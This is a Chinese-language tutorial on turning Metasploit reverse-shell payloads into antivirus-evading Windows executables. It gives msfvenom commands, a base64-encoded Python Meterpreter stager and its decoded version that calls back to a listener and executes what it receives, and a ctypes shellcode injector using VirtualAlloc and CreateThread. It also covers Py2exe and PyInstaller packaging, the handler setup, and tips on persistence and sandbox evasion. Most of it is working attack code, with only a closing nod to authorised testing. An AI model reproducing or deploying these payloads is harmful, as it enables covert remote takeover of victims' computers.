MSF利用python反弹shell-Bypass AV
字数 1897 2025-08-26 22:11:34
MSF利用Python反弹Shell绕过AV检测技术详解
一、技术概述
本文介绍两种利用Metasploit Framework(MSF)生成Python版Payload,并通过Py2exe或PyInstaller将Python脚本转换为可执行文件(EXE),从而绕过某些杀毒软件(AV)检测的反弹Shell技术。
二、方法一:Python Meterpreter直接反弹
1. 生成Python Meterpreter Payload
使用msfvenom命令生成Python版Meterpreter反弹TCP连接的后门:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=4444 -f raw -o /tmp/mrtp.py
生成的mrtp.py文件内容如下:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAuMTMxJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))
解码后的Base64内容:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.20.131',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
2. 使用Py2exe转换为EXE
环境准备
-
安装Python 2.7 x86 Windows版:
- 下载地址:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
- 注意:必须使用x86版本Python 2.7,即使Windows是x64的也要安装32位版本
- 将python.exe添加到环境变量
-
安装32位Py2exe for Python 2.7:
- 下载地址:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
创建setup.py
#! /usr/bin/env python
# encoding:utf-8
from distutils.core import setup
import py2exe
setup(
name = "Meter",
description = "Python-based App",
version = "1.0",
console = ["mrtp.py"],
options = {
"py2exe":{
"bundle_files":1,
"packages":"ctypes",
"includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",
}
},
zipfile = None
)
console = ["mrtp.py"]表示生成控制台程序,有助于绕过某些AV检测bundle_files: 1 表示将所有文件打包成一个exeincludes: 指定需要包含的模块
生成EXE文件
将mrtp.py和setup.py放在同一目录下,执行:
python ./setup.py py2exe
生成的EXE文件位于dist目录下。
3. MSF监听设置
msf5 > use exploit/multi/handler
msf5 > set PAYLOAD python/meterpreter/reverse_tcp
msf5 > set LHOST 192.168.20.131
msf5 > set LPORT 4444
msf5 > run
运行dist目录下的mrtp.exe即可成功反弹Shell。
三、方法二:Python Shellcode注入
1. 生成Python格式Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.20.131 -e x86/shikata_ga_nai -i 11 -f py -o /tmp/mytest.py
-e x86/shikata_ga_nai: 使用Shikata Ga Nai编码器-i 11: 编码11次
2. 创建Shellcode执行脚本(myshellcode.py)
#! /usr/bin/env python
# encoding:utf-8
import ctypes
def execute():
# 将生成的Shellcode复制到这里
shellcode = bytearray(
"\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
"\xc9\xb1\x99\x31\x73\x15\x03\x73\x15\x83\xeb\xfc\xe2"
# ... 省略部分Shellcode ...
"\x0b\xcb\x94\x1a\xd9\xfd\xc7\x78\x26\xb3\x57\xea\x6d"
"\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
"\x13"
)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
if __name__ == "__main__":
execute()
3. 使用PyInstaller转换为EXE
环境准备
-
安装pywin32:
- 下载地址:https://sourceforge.net/projects/pywin32/files/pywin32
- 直接安装即可
-
下载PyInstaller:
- 下载地址:https://github.com/pyinstaller/pyinstaller/releases
- 解压后即可使用,无需安装
生成EXE文件
pyinstaller.py -F --console myshellcode.py
-F: 将所有文件打包成一个exe--console: 生成控制台程序,有助于绕过某些AV检测
生成的EXE文件位于dist目录下。
4. MSF监听设置
msf5 > use exploit/multi/handler
msf5 > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 > set LHOST 192.168.20.131
msf5 > set LPORT 4444
msf5 > run
运行dist目录下的myshellcode.exe即可成功反弹Shell。
四、技术要点总结
-
Python版本选择:
- 方法一必须使用Python 2.7 x86版本
- 方法二可以使用Python 2或3
-
编码与混淆:
- 方法一使用Base64编码Python代码
- 方法二使用Shikata Ga Nai编码器对Shellcode进行多次编码
-
内存注入技术:
- 方法二使用Windows API直接在内存中执行Shellcode,避免文件落地检测
-
打包工具选择:
- Py2exe适用于Python 2.x
- PyInstaller支持Python 2.x和3.x
-
绕过AV的关键:
- 生成控制台程序(
--console) - 将所有依赖打包成一个文件(
-F或bundle_files:1) - 使用合法的Python解释器执行环境
- 生成控制台程序(
五、优化与改进建议
- 代码混淆:可以添加额外的代码混淆层增加分析难度
- 持久化:添加注册表或启动项实现持久化
- 反沙箱:检测虚拟机或沙箱环境
- 流量加密:使用SSL/TLS加密通信流量
- 多阶段加载:分阶段加载Payload,降低内存特征
六、参考资源
通过以上两种方法,安全测试人员可以有效地生成难以被传统AV检测的Meterpreter会话,但请注意这些技术仅应用于合法的安全测试和授权渗透测试中。